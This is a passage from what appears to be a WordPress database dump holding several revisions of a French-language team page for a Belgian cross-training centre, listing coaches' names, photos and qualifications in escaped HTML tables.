100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:54:26', '2013-07-03 19:54:26', '', 20, 'http://www.crosstrainingcenter.be/?p=252', 0, 'revision', '', 0),
(253, 1, '2013-07-03 19:55:18', '2013-07-03 19:55:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:600px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:55:18', '2013-07-03 19:55:18', '', 20, 'http://www.crosstrainingcenter.be/?p=253', 0, 'revision', '', 0),
(255, 1, '2013-07-03 19:56:59', '2013-07-03 19:56:59', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:56:59', '2013-07-03 19:56:59', '', 20, 'http://www.crosstrainingcenter.be/?p=255', 0, 'revision', '', 0),
(254, 1, '2013-07-03 19:55:48', '2013-07-03 19:55:48', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:280px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et 